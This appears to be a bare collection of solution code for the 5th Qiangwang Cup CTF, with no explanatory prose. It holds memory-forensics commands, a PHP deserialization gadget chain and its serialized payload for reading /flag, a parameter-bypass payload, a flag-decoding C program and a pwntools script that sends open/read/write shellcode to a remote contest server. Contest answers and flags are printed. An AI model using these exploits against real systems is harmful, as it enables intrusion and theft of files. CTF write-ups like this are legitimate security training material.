第五届“强网杯”全国网络安全挑战赛（线上赛）

volatility.exe -f memory.dmp imageinfo

volatility.exe -f memory.dmp --profile=Win7SP1x64 pslist
volatility.exe -f memory.dmp --profile=Win7SP1x64 memdump -p 2200 -D dump

!Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^[email protected]=KBz\[email protected](cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,[email protected]%[email protected]'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/[email protected]>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;[email protected]\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}[email protected]=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M'[email protected]%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<[email protected]@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):[email protected]:-C1

volatility.exe -f memory.dmp --profile=Win7SP1x86 filescan | findstr Desktop
volatility.exe -f memory.dmp --profile=Win7SP1x86 dumpfiles -Q 0x000000007e02af80 -D dump

<meta charset="utf-8">
<?php
error_reporting(1);

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
        public function __destruct(){
        echo "hi";
        $this->_sayhello();
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

$r1=new Room();
$r1->filename="/flag";
$r=new Room();
$r->a=$r1;
$i=new Info();
$i->file['filename']=$r;
$s=new Start();
$s->name=$i;
echo urlencode(serialize($s));

?>

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

ppp[number1]=9999%00&ppp[number2]=2e9&ppp[number3]=61823470&ppp[number4]=0000key000&ppp[number5]=%00&y=1

#include <stdio.h>
#include <math.h>

double e=2.718281828459045;
double flag[19]=
{
   0.00009794904266317233,
   0.00010270456917442,
   0.00009194256152777895,
   0.0001090322021913372,
   0.0001112636336217534,
   0.0001007442677411854,
   0.0001112636336217534,
   0.0001047063607908828,
   0.0001112818534005219,
   0.0001046861985862495,
   0.0001112818534005219,
   0.000108992856167966,
   0.0001112636336217534,
   0.0001090234561758122,
   0.0001113183108652088,
   0.0001006882924839248,
   0.0001112590796092291,
   0.0001089841164633298,
   0.00008468431512187874,
};
int main(){
    int i;
    for (i=0;i<19;i++){
        double k=flag[i];
        int num=e/k;
        printf("%c%c",num-1,num>>8);
    }
}

from pwn import *

context(arch = 'amd64', os = 'linux')
p=remote('39.105.131.68',12354)

p.sendlineafter('choice >>\n','1')
p.sendlineafter('index:\n','-13')
p.sendlineafter('size:\n','0')
p.recvuntil("content:\n")
p.sendline(asm('''
xor eax, eax
xor edi, edi
push 8
pop rdx
mov rsi, rsp
syscall

mov rdi, rsp
xor edx, edx 
xor esi, esi 

push 2 
pop rax
syscall

xor eax, eax 
push 3
pop rdi
push 0x30
pop rdx
mov rsi, rsp
syscall

push 1
pop rdi
push 0x30
pop rdx
mov rsi, rsp

push 1 
pop rax
syscall
'''))
#exit
p.sendline('5')
#read flag path
p.sendline('/flag\x00')
p.interactive()